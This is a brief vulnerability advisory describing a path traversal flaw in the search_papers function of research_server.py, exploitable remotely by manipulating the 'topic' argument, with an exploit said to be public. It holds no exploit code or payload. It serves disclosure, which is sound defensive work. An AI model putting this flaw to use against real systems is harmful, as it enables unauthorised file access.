This impacts the function search_papers of the file research_server.py. Performing a manipulation of the argument topic results in path traversal. Remote exploitation of the attack is possible. The exploit is now public and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided.
